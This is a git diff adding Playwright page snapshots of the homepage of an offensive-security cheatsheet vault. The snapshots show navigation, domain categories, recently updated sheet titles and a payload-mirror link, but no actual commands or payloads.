+        - generic [ref=f6e2350]:
+          - generic [ref=f6e2351]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f6e2352]
+          - paragraph [ref=f6e2353]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f6e2354]:
+            - button "Search the vault" [ref=f6e2355] [cursor=pointer]
+            - link "Payloads" [ref=f6e2359] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f6e2363]:
+          - generic [ref=f6e2364]:
+            - generic [ref=f6e2365]:
+              - generic [ref=f6e2366]: daemon@sec
+              - generic [ref=f6e2367]: ~
+              - generic [ref=f6e2368]: "%"
+              - generic [ref=f6e2369]: whoami --vault
+            - generic [ref=f6e2371]:
+              - term [ref=f6e2372]: scope
+              - definition [ref=f6e2373]: Offensive security Β· red team Β· DFIR
+              - term [ref=f6e2374]: format
+              - definition [ref=f6e2375]: Copy-ready commands, current tool flags
+              - term [ref=f6e2376]: search
+              - definition [ref=f6e2377]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f6e2378]: license
+              - definition [ref=f6e2379]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f6e2380]:
+            - generic [ref=f6e2381]:
+              - term [ref=f6e2382]: Curated cheatsheets
+              - definition [ref=f6e2383]:
+                - text: "214"
+                - generic [ref=f6e2384]: Curatedcheatsheets
+            - generic [ref=f6e2385]:
+              - term [ref=f6e2386]: Operator domains
+              - definition [ref=f6e2387]:
+                - text: "12"
+                - generic [ref=f6e2388]: Operatordomains
+            - generic [ref=f6e2389]:
+              - term [ref=f6e2390]: Mirrored payload pages
+              - definition [ref=f6e2391]:
+                - text: "135"
+                - generic [ref=f6e2392]: Mirroredpayload pages
+    - region "Domains" [ref=f6e2393]:
+      - generic [ref=f6e2394]: "^: Index"
+      - generic [ref=f6e2398]:
+        - generic [ref=f6e2399]:
+          - generic [ref=f6e2400]:
+            - generic [ref=f6e2401]: "01"
+            - generic [ref=f6e2402]: AD
+            - generic [ref=f6e2406]: Active Directory
+            - generic [ref=f6e2407]: 130 sheets
+          - generic [ref=f6e2408]:
+            - generic [ref=f6e2409]: "02"
+            - generic [ref=f6e2410]: ENUM
+            - generic [ref=f6e2414]: Enumeration
+            - generic [ref=f6e2415]: 18 sheets
+          - generic [ref=f6e2416]:
+            - generic [ref=f6e2417]: "03"
+            - generic [ref=f6e2418]: PWN
+            - generic [ref=f6e2422]: Exploitation
+            - generic [ref=f6e2423]: 7 sheets
+          - generic [ref=f6e2424]:
+            - generic [ref=f6e2425]: "04"
+            - generic [ref=f6e2426]: PRIV
+            - generic [ref=f6e2430]: Privilege Escalation
+            - generic [ref=f6e2431]: 2 sheets
+          - generic [ref=f6e2432]:
+            - generic [ref=f6e2433]: "05"
+            - generic [ref=f6e2434]: CRED
+            - generic [ref=f6e2438]: Password Attacks
+            - generic [ref=f6e2439]: 3 sheets
+          - generic [ref=f6e2440]:
+            - generic [ref=f6e2441]: "06"
+            - generic [ref=f6e2442]: WEB
+            - generic [ref=f6e2446]: Web
+            - generic [ref=f6e2447]: 9 sheets
+          - generic [ref=f6e2448]:
+            - generic [ref=f6e2449]: "07"
+            - generic [ref=f6e2450]: PIVOT
+            - generic [ref=f6e2454]: Tunneling & Pivoting
+            - generic [ref=f6e2455]: 6 sheets
+          - generic [ref=f6e2456]:
+            - generic [ref=f6e2457]: "08"
+            - generic [ref=f6e2458]: CRYPTO
+            - generic [ref=f6e2462]: Cryptography
+            - generic [ref=f6e2463]: 3 sheets
+          - generic [ref=f6e2464]:
+            - generic [ref=f6e2465]: "09"
+            - generic [ref=f6e2466]: DFIR
+            - generic [ref=f6e2470]: DFIR
+            - generic [ref=f6e2471]: 4 sheets
+          - generic [ref=f6e2472]:
+            - generic [ref=f6e2473]: "10"
+            - generic [ref=f6e2474]: TOOL
+            - generic [ref=f6e2478]: Tools
+            - generic [ref=f6e2479]: 18 sheets
+          - generic [ref=f6e2480]:
+            - generic [ref=f6e2481]: "11"
+            - generic [ref=f6e2482]: NIX
+            - generic [ref=f6e2486]: Linux & IT
+            - generic [ref=f6e2487]: 9 sheets
+          - generic [ref=f6e2488]:
+            - generic [ref=f6e2489]: "12"
+            - generic [ref=f6e2490]: GIT
+            - generic [ref=f6e2494]: Git & Workflow
+            - generic [ref=f6e2495]: 5 sheets
+        - generic [ref=f6e2496]:
+          - generic [ref=f6e2497]:
+            - generic [ref=f6e2498]: "01"
+            - generic [ref=f6e2499]: AD
+            - generic [ref=f6e2503]: Active Directory
+            - generic [ref=f6e2504]: 130 sheets
+          - generic [ref=f6e2505]:
+            - generic [ref=f6e2506]: "02"
+            - generic [ref=f6e2507]: ENUM
+            - generic [ref=f6e2511]: Enumeration
+            - generic [ref=f6e2512]: 18 sheets
+          - generic [ref=f6e2513]:
+            - generic [ref=f6e2514]: "03"
+            - generic [ref=f6e2515]: PWN
+            - generic [ref=f6e2519]: Exploitation
+            - generic [ref=f6e2520]: 7 sheets
+          - generic [ref=f6e2521]:
+            - generic [ref=f6e2522]: "04"
+            - generic [ref=f6e2523]: PRIV
+            - generic [ref=f6e2527]: Privilege Escalation
+            - generic [ref=f6e2528]: 2 sheets
+          - generic [ref=f6e2529]:
+            - generic [ref=f6e2530]: "05"
+            - generic [ref=f6e2531]: CRED
+            - generic [ref=f6e2535]: Password Attacks
+            - generic [ref=f6e2536]: 3 sheets
+          - generic [ref=f6e2537]:
+            - generic [ref=f6e2538]: "06"
+            - generic [ref=f6e2539]: WEB
+            - generic [ref=f6e2543]: Web
+            - generic [ref=f6e2544]: 9 sheets
+          - generic [ref=f6e2545]:
+            - generic [ref=f6e2546]: "07"
+            - generic [ref=f6e2547]: PIVOT
+            - generic [ref=f6e2551]: Tunneling & Pivoting
+            - generic [ref=f6e2552]: 6 sheets
+          - generic [ref=f6e2553]:
+            - generic [ref=f6e2554]: "08"
+            - generic [ref=f6e2555]: CRYPTO
+            - generic [ref=f6e2559]: Cryptography
+            - generic [ref=f6e2560]: 3 sheets
+          - generic [ref=f6e2561]:
+            - generic [ref=f6e2562]: "09"
+            - generic [ref=f6e2563]: DFIR
+            - generic [ref=f6e2567]: DFIR
+            - generic [ref=f6e2568]: 4 sheets
+          - generic [ref=f6e2569]:
+            - generic [ref=f6e2570]: "10"
+            - generic [ref=f6e2571]: TOOL
+            - generic [ref=f6e2575]: Tools
+            - generic [ref=f6e2576]: 18 sheets
+          - generic [ref=f6e2577]:
+            - generic [ref=f6e2578]: "11"
+            - generic [ref=f6e2579]: NIX
+            - generic [ref=f6e2583]: Linux & IT
+            - generic [ref=f6e2584]: 9 sheets
+          - generic [ref=f6e2585]:
+            - generic [ref=f6e2586]: "12"
+            - generic [ref=f6e2587]: GIT
+            - generic [ref=f6e2591]: Git & Workflow
+            - generic [ref=f6e2592]: 5 sheets
+      - generic [ref=f6e2593]: 12 domains
+    - generic [ref=f6e2595]:
+      - generic [ref=f6e2597]:
+        - paragraph [ref=f6e2598]:
+          - generic [ref=f6e2599]: "01"
+          - generic [ref=f6e2600]: "^:"
+          - generic [ref=f6e2601]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f6e2603]
+      - generic [ref=f6e2604]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f6e2605] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f6e2606]:
+            - generic [ref=f6e2607]: AD
+            - generic [ref=f6e2608]: "01"
+          - heading "Active Directory" [level=3] [ref=f6e2609]
+          - paragraph [ref=f6e2610]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f6e2611]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f6e2614] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f6e2615]:
+            - generic [ref=f6e2616]: ENUM
+            - generic [ref=f6e2617]: "02"
+          - heading "Enumeration" [level=3] [ref=f6e2618]
+          - paragraph [ref=f6e2619]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=f6e2620]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f6e2623] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f6e2624]:
+            - generic [ref=f6e2625]: PWN
+            - generic [ref=f6e2626]: "03"
+          - heading "Exploitation" [level=3] [ref=f6e2627]
+          - paragraph [ref=f6e2628]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f6e2629]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f6e2632] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f6e2633]:
+            - generic [ref=f6e2634]: PRIV
+            - generic [ref=f6e2635]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f6e2636]
+          - paragraph [ref=f6e2637]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f6e2638]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f6e2641] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f6e2642]:
+            - generic [ref=f6e2643]: CRED
+            - generic [ref=f6e2644]: "05"
+          - heading "Password Attacks" [level=3] [ref=f6e2645]
+          - paragraph [ref=f6e2646]: Cracking, spraying, and credential recovery.
+          - generic [ref=f6e2647]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f6e2650] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f6e2651]:
+            - generic [ref=f6e2652]: WEB
+            - generic [ref=f6e2653]: "06"
+          - heading "Web" [level=3] [ref=f6e2654]
+          - paragraph [ref=f6e2655]: XSS, injection, and web application testing.
+          - generic [ref=f6e2656]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f6e2659] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f6e2660]:
+            - generic [ref=f6e2661]: PIVOT
+            - generic [ref=f6e2662]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f6e2663]
+          - paragraph [ref=f6e2664]: Moving through segmented networks and double pivots.
+          - generic [ref=f6e2665]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f6e2668] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f6e2669]:
+            - generic [ref=f6e2670]: CRYPTO
+            - generic [ref=f6e2671]: "08"
+          - heading "Cryptography" [level=3] [ref=f6e2672]
+          - paragraph [ref=f6e2673]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f6e2674]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f6e2677] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f6e2678]:
+            - generic [ref=f6e2679]: DFIR
+            - generic [ref=f6e2680]: "09"
+          - heading "DFIR" [level=3] [ref=f6e2681]
+          - paragraph [ref=f6e2682]: Forensics, memory, and registry analysis.
+          - generic [ref=f6e2683]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f6e2686] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f6e2687]:
+            - generic [ref=f6e2688]: TOOL
+            - generic [ref=f6e2689]: "10"
+          - heading "Tools" [level=3] [ref=f6e2690]
+          - paragraph [ref=f6e2691]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f6e2692]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f6e2695] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f6e2696]:
+            - generic [ref=f6e2697]: NIX
+            - generic [ref=f6e2698]: "11"
+          - heading "Linux & IT" [level=3] [ref=f6e2699]
+          - paragraph [ref=f6e2700]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f6e2701]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f6e2704] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f6e2705]:
+            - generic [ref=f6e2706]: GIT
+            - generic [ref=f6e2707]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f6e2708]
+          - paragraph [ref=f6e2709]: Version control and operator workflow.
+          - generic [ref=f6e2710]: 5 sheets
+    - link [ref=f6e2713] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f6e2714]:
+        - generic [ref=f6e2715]:
+          - paragraph [ref=f6e2716]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f6e2717]
+          - paragraph [ref=f6e2718]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f6e2719]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f6e2720]: Browse payloads
+    - generic [ref=f6e2724]:
+      - generic [ref=f6e2725]:
+        - generic [ref=f6e2726]:
+          - paragraph [ref=f6e2727]:
+            - generic [ref=f6e2728]: "03"
+            - generic [ref=f6e2729]: "^:"
+            - generic [ref=f6e2730]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f6e2731]
+        - link "All tags" [ref=f6e2732] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f6e2735]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f6e2736] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f6e2737]:
+            - generic [ref=f6e2738]: "01"
+            - generic [ref=f6e2739]: ENUM
+            - generic [ref=f6e2743]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f6e2744]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f6e2748] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f6e2749]:
+            - generic [ref=f6e2750]: "02"
+            - generic [ref=f6e2751]: ENUM
+            - generic [ref=f6e2755]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f6e2756]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f6e2760] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f6e2761]:
+            - generic [ref=f6e2762]: "03"
+            - generic [ref=f6e2763]: AD
+            - generic [ref=f6e2767]: Active-Directory_cheat_sheet
+            - generic [ref=f6e2768]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f6e2772] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f6e2773]:
+            - generic [ref=f6e2774]: "04"
+            - generic [ref=f6e2775]: ENUM
+            - generic [ref=f6e2779]: Anonymous Null Testing
+            - generic [ref=f6e2780]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f6e2784] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f6e2785]:
+            - generic [ref=f6e2786]: "05"
+            - generic [ref=f6e2787]: AD
+            - generic [ref=f6e2791]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f6e2792]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f6e2796] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f6e2797]:
+            - generic [ref=f6e2798]: "06"
+            - generic [ref=f6e2799]: AD
+            - generic [ref=f6e2803]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f6e2804]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f6e2808] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f6e2809]:
+            - generic [ref=f6e2810]: "07"
+            - generic [ref=f6e2811]: AD
+            - generic [ref=f6e2815]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f6e2816]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f6e2820] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f6e2821]:
+            - generic [ref=f6e2822]: "08"
+            - generic [ref=f6e2823]: AD
+            - generic [ref=f6e2827]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f6e2828]: 2026-08-10
+  - contentinfo [ref=f6e2832]:
+    - generic [ref=f6e2833]:
+      - generic [ref=f6e2834]:
+        - link "DÆMON // SEC" [ref=f6e2835] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f6e2836]: //
+          - text: SEC
+        - paragraph [ref=f6e2837]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f6e2838]:
+        - link "daemon-404.github.io β†—" [ref=f6e2839] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f6e2840] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f6e2841]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f6e2842] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f6e2843] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f6e2844]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f6e2845]: RosΓ© Pine Β· Astro Β· Pagefind
+  - dialog "Search cheatsheets" [ref=f6e2849]:
+    - generic [ref=f6e2850]:
+      - searchbox "Search query" [active] [ref=f6e2854]
+      - button "Close search" [ref=f6e2855] [cursor=pointer]
+    - paragraph [ref=f6e2859]: Type to search the vault. Esc to close.
+  - generic [ref=f6e2846]: DÆMON//SEC — Cyber & IT Cheatsheet Vault
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-10-57-971Z.yml b/.playwright-mcp/page-2026-08-10T08-10-57-971Z.yml
@@ -0,0 +1,525 @@
+- generic [ref=f6e2298]:
+  - banner [ref=f6e2299]:
+    - generic [ref=f6e2300]:
+      - link "DÆMON//SEC home" [ref=f6e2301] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f6e2302]: //
+        - text: SEC
+        - generic [ref=f6e2303]: _
+      - navigation "Primary" [ref=f6e2304]:
+        - link "01 Vault" [ref=f6e2305] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f6e2306]: "01"
+          - generic [ref=f6e2307]: Vault
+        - link "02 Payloads" [ref=f6e2308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f6e2309]: "02"
+          - generic [ref=f6e2310]: Payloads
+        - link "03 Tags" [ref=f6e2311] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f6e2312]: "03"
+          - generic [ref=f6e2313]: Tags
+        - link "04 Credits" [ref=f6e2314] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f6e2315]: "04"
+          - generic [ref=f6e2316]: Credits
+      - generic [ref=f6e2317]:
+        - button "Search cheatsheets" [ref=f6e2318] [cursor=pointer]:
+          - generic [ref=f6e2321]: Search
+          - generic [ref=f6e2322]: /
+        - button "Toggle theme" [ref=f6e2323] [cursor=pointer]
+        - link "DÆMON main site" [ref=f6e2328] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f6e2331] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f6e2334]:
+    - generic [ref=f6e2336]:
+      - generic [ref=f6e2337]:
+        - heading "D Γ† M O N" [level=1] [ref=f6e2339]:
+          - generic [ref=f6e2340]: D
+          - generic [ref=f6e2341]: Γ†
+          - generic [ref=f6e2342]: M
+          - generic [ref=f6e2343]: O
+          - generic [ref=f6e2344]: "N"
+        - paragraph [ref=f6e2346]:
+          - generic [ref=f6e2347]: The cheatsheet vault
+      - generic [ref=f6e2349]:
+        - generic [ref=f6e2350]:
+          - generic [ref=f6e2351]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f6e2352]
+          - paragraph [ref=f6e2353]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f6e2354]:
+            - button "Search the vault" [ref=f6e2355] [cursor=pointer]
+            - link "Payloads" [ref=f6e2359] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f6e2363]:
+          - generic [ref=f6e2364]:
+            - generic [ref=f6e2365]:
+              - generic [ref=f6e2366]: daemon@sec
+              - generic [ref=f6e2367]: ~
+              - generic [ref=f6e2368]: "%"
+              - generic [ref=f6e2369]: whoami --vault
+            - generic [ref=f6e2371]:
+              - term [ref=f6e2372]: scope
+              - definition [ref=f6e2373]: Offensive security Β· red team Β· DFIR
+              - term [ref=f6e2374]: format
+              - definition [ref=f6e2375]: Copy-ready commands, current tool flags
+              - term [ref=f6e2376]: search
+              - definition [ref=f6e2377]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f6e2378]: license
+              - definition [ref=f6e2379]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f6e2380]:
+            - generic [ref=f6e2381]:
+              - term [ref=f6e2382]: Curated cheatsheets
+              - definition [ref=f6e2383]:
+                - text: "214"
+                - generic [ref=f6e2384]: Curatedcheatsheets
+            - generic [ref=f6e2385]:
+              - term [ref=f6e2386]: Operator domains
+              - definition [ref=f6e2387]:
+                - text: "12"
+                - generic [ref=f6e2388]: Operatordomains
+            - generic [ref=f6e2389]:
+              - term [ref=f6e2390]: Mirrored payload pages
+              - definition [ref=f6e2391]:
+                - text: "135"
+                - generic [ref=f6e2392]: Mirroredpayload pages
+    - region "Domains" [ref=f6e2393]:
+      - generic [ref=f6e2394]: "^: Index"
+      - generic [ref=f6e2398]:
+        - generic [ref=f6e2399]:
+          - generic [ref=f6e2400]:
+            - generic [ref=f6e2401]: "01"
+            - generic [ref=f6e2402]: AD
+            - generic [ref=f6e2406]: Active Directory
+            - generic [ref=f6e2407]: 130 sheets
+          - generic [ref=f6e2408]:
+            - generic [ref=f6e2409]: "02"
+            - generic [ref=f6e2410]: ENUM
+            - generic [ref=f6e2414]: Enumeration
+            - generic [ref=f6e2415]: 18 sheets
+          - generic [ref=f6e2416]:
+            - generic [ref=f6e2417]: "03"
+            - generic [ref=f6e2418]: PWN
+            - generic [ref=f6e2422]: Exploitation
+            - generic [ref=f6e2423]: 7 sheets
+          - generic [ref=f6e2424]:
+            - generic [ref=f6e2425]: "04"
+            - generic [ref=f6e2426]: PRIV
+            - generic [ref=f6e2430]: Privilege Escalation
+            - generic [ref=f6e2431]: 2 sheets
+          - generic [ref=f6e2432]:
+            - generic [ref=f6e2433]: "05"
+            - generic [ref=f6e2434]: CRED
+            - generic [ref=f6e2438]: Password Attacks
+            - generic [ref=f6e2439]: 3 sheets
+          - generic [ref=f6e2440]:
+            - generic [ref=f6e2441]: "06"
+            - generic [ref=f6e2442]: WEB
+            - generic [ref=f6e2446]: Web
+            - generic [ref=f6e2447]: 9 sheets
+          - generic [ref=f6e2448]:
+            - generic [ref=f6e2449]: "07"
+            - generic [ref=f6e2450]: PIVOT
+            - generic [ref=f6e2454]: Tunneling & Pivoting
+            - generic [ref=f6e2455]: 6 sheets
+          - generic [ref=f6e2456]:
+            - generic [ref=f6e2457]: "08"
+            - generic [ref=f6e2458]: CRYPTO
+            - generic [ref=f6e2462]: Cryptography
+            - generic [ref=f6e2463]: 3 sheets
+          - generic [ref=f6e2464]:
+            - generic [ref=f6e2465]: "09"
+            - generic [ref=f6e2466]: DFIR
+            - generic [ref=f6e2470]: DFIR
+            - generic [ref=f6e2471]: 4 sheets
+          - generic [ref=f6e2472]:
+            - generic [ref=f6e2473]: "10"
+            - generic [ref=f6e2474]: TOOL
+            - generic [ref=f6e2478]: Tools
+            - generic [ref=f6e2479]: 18 sheets
+          - generic [ref=f6e2480]:
+            - generic [ref=f6e2481]: "11"
+            - generic [ref=f6e2482]: NIX
+            - generic [ref=f6e2486]: Linux & IT
+            - generic [ref=f6e2487]: 9 sheets
+          - generic [ref=f6e2488]:
+            - generic [ref=f6e2489]: "12"
+            - generic [ref=f6e2490]: GIT
+            - generic [ref=f6e2494]: Git & Workflow
+            - generic [ref=f6e2495]: 5 sheets
+        - generic [ref=f6e2496]:
+          - generic [ref=f6e2497]:
+            - generic [ref=f6e2498]: "01"
+            - generic [ref=f6e2499]: AD
+            - generic [ref=f6e2503]: Active Directory
+            - generic [ref=f6e2504]: 130 sheets
+          - generic [ref=f6e2505]:
+            - generic [ref=f6e2506]: "02"
+            - generic [ref=f6e2507]: ENUM
+            - generic [ref=f6e2511]: Enumeration
+            - generic [ref=f6e2512]: 18 sheets
+          - generic [ref=f6e2513]:
+            - generic [ref=f6e2514]: "03"
+            - generic [ref=f6e2515]: PWN
+            - generic [ref=f6e2519]: Exploitation
+            - generic [ref=f6e2520]: 7 sheets
+          - generic [ref=f6e2521]:
+            - generic [ref=f6e2522]: "04"
+            - generic [ref=f6e2523]: PRIV
+            - generic [ref=f6e2527]: Privilege Escalation
+            - generic [ref=f6e2528]: 2 sheets
+          - generic [ref=f6e2529]:
+            - generic [ref=f6e2530]: "05"
+            - generic [ref=f6e2531]: CRED
+            - generic [ref=f6e2535]: Password Attacks
+            - generic [ref=f6e2536]: 3 sheets
+          - generic [ref=f6e2537]:
+            - generic [ref=f6e2538]: "06"
+            - generic [ref=f6e2539]: WEB
+            - generic [ref=f6e2543]: Web
+            - generic [ref=f6e2544]: 9 sheets
+          - generic [ref=f6e2545]:
+            - generic [ref=f6e2546]: "07"
+            - generic [ref=f6e2547]: PIVOT
+            - generic [ref=f6e2551]: Tunneling & Pivoting
+            - generic [ref=f6e2552]: 6 sheets
+          - generic [ref=f6e2553]:
+            - generic [ref=f6e2554]: "08"
+            - generic [ref=f6e2555]: CRYPTO
+            - generic [ref=f6e2559]: Cryptography
+            - generic [ref=f6e2560]: 3 sheets
+          - generic [ref=f6e2561]:
+            - generic [ref=f6e2562]: "09"
+            - generic [ref=f6e2563]: DFIR
+            - generic [ref=f6e2567]: DFIR
+            - generic [ref=f6e2568]: 4 sheets
+          - generic [ref=f6e2569]:
+            - generic [ref=f6e2570]: "10"
+            - generic [ref=f6e2571]: TOOL
+            - generic [ref=f6e2575]: Tools
+            - generic [ref=f6e2576]: 18 sheets
+          - generic [ref=f6e2577]:
+            - generic [ref=f6e2578]: "11"
+            - generic [ref=f6e2579]: NIX
+            - generic [ref=f6e2583]: Linux & IT
+            - generic [ref=f6e2584]: 9 sheets
+          - generic [ref=f6e2585]:
+            - generic [ref=f6e2586]: "12"
+            - generic [ref=f6e2587]: GIT
+            - generic [ref=f6e2591]: Git & Workflow
+            - generic [ref=f6e2592]: 5 sheets
+      - generic [ref=f6e2593]: 12 domains
+    - generic [ref=f6e2595]:
+      - generic [ref=f6e2597]:
+        - paragraph [ref=f6e2598]:
+          - generic [ref=f6e2599]: "01"
+          - generic [ref=f6e2600]: "^:"
+          - generic [ref=f6e2601]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f6e2603]
+      - generic [ref=f6e2604]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f6e2605] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f6e2606]:
+            - generic [ref=f6e2607]: AD
+            - generic [ref=f6e2608]: "01"
+          - heading "Active Directory" [level=3] [ref=f6e2609]
+          - paragraph [ref=f6e2610]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f6e2611]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f6e2614] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f6e2615]:
+            - generic [ref=f6e2616]: ENUM
+            - generic [ref=f6e2617]: "02"
+          - heading "Enumeration" [level=3] [ref=f6e2618]
+          - paragraph [ref=f6e2619]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=f6e2620]: 18 sheets
